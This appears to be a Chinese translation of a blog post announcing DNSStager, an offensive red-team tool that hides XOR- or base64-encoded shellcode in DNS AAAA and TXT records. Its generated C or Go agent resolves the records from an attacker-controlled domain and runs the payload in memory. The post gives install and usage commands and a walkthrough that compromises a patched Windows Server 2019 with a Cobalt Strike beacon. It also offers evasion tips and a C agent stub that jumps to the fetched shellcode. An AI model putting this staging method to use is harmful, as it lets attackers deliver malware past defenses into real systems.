预计阅读时间: 8 分钟
在过去的几周里,我正在开展一个新项目,该项目可以帮助我解决我面临的案例中的问题,我需要一个工具来帮助我通过 DNS 提取有效负载,而不会产生噪音或怀疑,并且能够将此有效负载注入内存并运行它。
经过一番工作,我很高兴发布了 DNSStager。
什么是 DNSStager?
DNSStager是用来帮助Pentesters / RedTeamers隐藏在DNS的负载,并解决它基于多个DNS记录,如开源工具 IPv6
和TXT
并再注入到内存中并运行它。
DNSStager 将为您创建一个虚假的 DNS 服务器,该服务器将根据 AAAA 和 TXT 记录解析您的域的虚假地址,这些地址呈现您的一部分有效负载编码/加密并可供代理使用。
DNSStager 可以为您生成 C 或 GoLang 代理,您只需为 DNSStager 定义一些变量,它会为您处理整个过程。
此图显示了 DNSStager 的工作原理:
正如我们从前面的图中看到的,DNSStager client.exe 将尝试解析由 DNSStager 生成的N个子域,并且这些域的每个响应都呈现了您编码的有效负载的多个字节。
DNSStager 将对您的有效负载进行编码,将其拆分为块,并准备好通过您的 client.exe 代理(可以是 C 或 GoLang 代理)解析,您可以在启动 DNSStager 时选择它,我们稍后会讨论。
因此,在检索到所有有效负载字节后,DNSStager 代理会将它们注入内存并直接运行它们以执行 shellcode,这里的好处是您可以自定义代理并实现自己的进程/内存注入技术来运行有效负载在它通过DNS被拉出来之后。
DNSStager 主要功能
IPv6
在记录中隐藏和解析您的有效负载 。TXT
在记录中隐藏和解析您的有效负载 。- XOR 编码器对您的有效载荷进行编码。
- Base64 编码器对您的有效负载进行编码(仅适用于 TXT 记录)。
- 一个纯代理写入
C
具有自定义它的能力。 - 一个纯代理写入
GoLang
具有自定义它的能力。 - 在每个 DNS 请求之间使用睡眠的能力。
- 还有更多!
为什么使用 DNSStager?
DNSStager 的最佳用例是当您需要通过 DNS 检索有效负载时,它是您可以从中接收数据的唯一通道。
您可以使用 C 或 GoLang 客户端通过 DNS 解析完整的有效负载,并自定义代理以使用您自己的进程/内存注入,这意味着您可以针对您的操作和目标完全自定义它。
DNSStager 目前支持两条 DNS 记录来解析完整的有效负载,它们是:
- IPv6 通过 AAAA 记录。
- TXT 记录。
当然还有更多即将推出!
DNSStager 安装
要安装 DNSStager,您需要先使用以下命令从官方 repo 克隆它:
代码语言:javascript复制git clone https://github.com/mhaskar/DNSStager
然后使用以下命令安装 DNSStager 的所有 python 要求:
代码语言:javascript复制pip3 install -r requirements.txt
请注意,您需要 Python3 才能运行 DNSStager。
C 语言依赖项
要编译 DNSStager C 代理,您需要使用以下命令安装 ming-w64:
代码语言:javascript复制apt install mingw-w64
GoLang 依赖项
要编译 GoLang 代理,您需要安装 GoLang 编译器 v1.16。
安装所有依赖项后,您现在可以使用以下命令启动 DNSStager:
代码语言:javascript复制./dnsstager.py
请注意,您需要 root 权限才能启动 DNSStager。
你现在可以走了!
确保
systemd-resolved
在运行 DNSStager 之前禁用。
DNS 设置
要使用 DNSStager,您需要将您的域指向 DNSStager 作为他的名称服务器“DNS 服务器”,以便解析和处理进入您域的任何 DNS 请求。
例如,我正在控制一个名为的域,mydnsserver.live
我创建了一个名为的子域test.mydnsserver.live
,并 在运行 DNSStager 后 创建了mydnsserver.live
“NS” – 名称服务器。test.mydnsserver.livemydnsserver.live
因此,在这种情况下,任何进入域的请求都 test.mydnsserver.live
将由 mydnsserver.live
我们正在运行的 DNSStager 实例处理。
这意味着如果您尝试解析subdomain.test.mydnsserver.live
DNSStager 将解析subdomain.test.mydnsserver.live
它是否存在的值。
您可以将 NS 更改为您想要的任何子域/域,但在我的情况下,我只是将主域作为 NS。
DNSStager 选项
我们可以使用开关 -h 检查 DNSStager 选项,如下所示:
代码语言:javascript复制root@DNSStager:~/DNSStager# ./dnsstager.py -husage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP] DNSStager main parser optional arguments: -h, --help show this help message and exit --domain DOMAIN The domain you want to use as staging host --payloads show all payloads --prefix PREFIX Prefix to use as part of your subdomain schema --payload PAYLOAD Payload to use, see --payloads for more details --output OUTPUT Agent output path --shellcode_path SHELLCODE_PATH Shellcode file path --xorkey XORKEY XOR key to encode your payload with --sleep SLEEP sleep for N seconds between each DNS requestroot@DNSStager:~/DNSStager#
- –domain:您可以使用此选项来选择将用于处理 DNS 请求的主域,在我们的例子中,它将是
test.mydnsserver.live
. - — prefix:您要用于子域模式的前缀例如,如果您的主域是
test.mydnsserver.live
您可以将前缀指定为“cdn”,例如,生成的域将是如下模式:cdn0.test.mydnsserver.live
cdn1.test.mydnsserver.live
cdnN.test.mydnsserver.live
自动 N
生成的数字代表有效负载的块数。
- –payload:您要根据技术、编程语言和架构生成的 DNSStager 有效负载“代理”。
- --output:保存 DNSStager 可执行负载“代理”的输出路径。
- --shellcode_path:你的
raw
/bin
shellcode 路径。 - –xorkey:用于对有效负载进行编码的 XOR 密钥。
- –sleep:用于在每个 DNS 请求之间休眠 N 秒。
DNSStager 有效负载
--payloads
您可以使用以下选项检查 DNSStager 有效负载:
DNSStager 有效载荷的结构是:
arch/language/method
该方法是您希望 DNSStager 将您的有效负载转换为的 DNS 记录。
如前所述,目前有两种模式可以使用:
- IPv6 (AAAA)。
- 文本文件。
DNSStager 有效负载编码器
DNSStager 使用XOR
编码器/加密器加密您的有效负载,以防您IPv6
用于表示您的有效负载,并且base64
如果您TXT
用于表示您的有效负载。
如果您使用的是 TXT 模式,那么在使用 base64 编码之前,payload 也将使用 XOR 进行编码。
您可以使用该--xorkey
选项指定 xor 密钥来加密您的有效负载。
并且作为 OPSEC 考虑,DNSStager 将检查您是否没有选择 XOR 密钥并要求您输入 XOR 密钥或在没有它的情况下进行处理,如下所示:
将来会添加额外的编码器。
DNSStager 请求睡眠
您可以指定每个 DNS 请求之间的休眠秒数,这将使这些记录的 DNS 查询噪音更小。
您可以使用--sleep
选项后跟要休眠的秒数来执行此操作。
DNSStager 使用示例
现在让我们使用 DNSStager 通过完全更新的 Windows Defender 来破坏 Windows Server 2019。
我将生成 Cobalt Strike 有效负载并将其保存到 payload.bin 文件,如下所示:
随意更改有效负载。
现在我将此有效负载上传到我的 DNSStager 实例:
现在准备好运行 DNSStager,我的域是 test.mydnsserver.live
,我将使用 cdn
我的前缀和此屏幕截图中显示的其余选项:
我用 XOR 密钥对我的有效负载进行了编码 0x20
,请求之间没有睡眠。
AAAA
让我们通过使用以下 dig 命令查询域的记录来 测试一切是否正常 cdn0.test.mydnsserver.live
。
如我们所见,红色框包含我们的有效负载 XOR 编码的前 16 个字节0x20
。
为了验证这一点,让我们从 payload.bin 中读取前 16 个字节,然后对它们进行异或运算0x20
,得到以下结果:
正如我们所看到的,在使用0x20
.
现在我们准备发送agent.exe
到我们的目标,看看我们是否会得到一个信标回到我们的 Cobalt Strike。
让我们在 Windows Server 2019 中打开这个文件,看看我们会得到什么:
完美的!我们可以看到,在通过 DNS 提取完整的 shellcode、对其进行编码并从内存中运行它之后,我们从 DNSStager 返回了一个信标。
这个 GIF 展示了这个过程:
观察
DNSStager 代理将发送一些 DNS 以提取完整的有效负载,当然,如果您使用的是 IPv6,则请求的数量将大于 TXT,因为每个请求仅限 16 个字节。
现在要查看实际流量,让我们在 Windows Server 2019 上打开 Wireshark,看看那里发生了什么!
总共发送了 59 个 DNS AAAA 请求以提取完整的有效负载,我们可以在每个请求之间添加一些睡眠以减少噪音!
并且不要忘记该过程再次取决于有效负载的大小,更大的 shellcode 意味着从代理发送的请求更多。
DNSStager 代理定制
您可以修改要用于 GoLang 和 C 代理的进程注入技术,您可以在 DNSStager 主文件夹内的模板文件夹中查看这两个代码的源代码。
C 代理目前在从 DNS 拉取后简单跳转到 shellcode,当然,您可以在编辑 C 代理模板 templates/client-ipv6-generic.c
main 函数后随意自定义,代码如下:
int main(){ // Get Shellcode Address LPVOID ShellcodeAddress = GetShellCodeAddress(); // Write your injection technique here// And use ShellcodeAddress as your shellcode pointer // Jump to shellcode - Replace it with your technique goto *ShellcodeAddress;}
在第 95 行,您将可以使用的 shellcode 的地址保存在一个名为的变量中ShellcodeAddress
,然后我们使用 simplegoto
跳转到该地址。
您现在可以通过编辑此函数来使用ShellcodeAddress
您的进程/内存注入技术。
对于 GoLang 代理
您还可以通过 retreiveShellcodeAsHex
在两个模板文件中使用该函数来自定义它:
- 模板/client-ipv6-generic.go
- 模板/client-txt-generic.go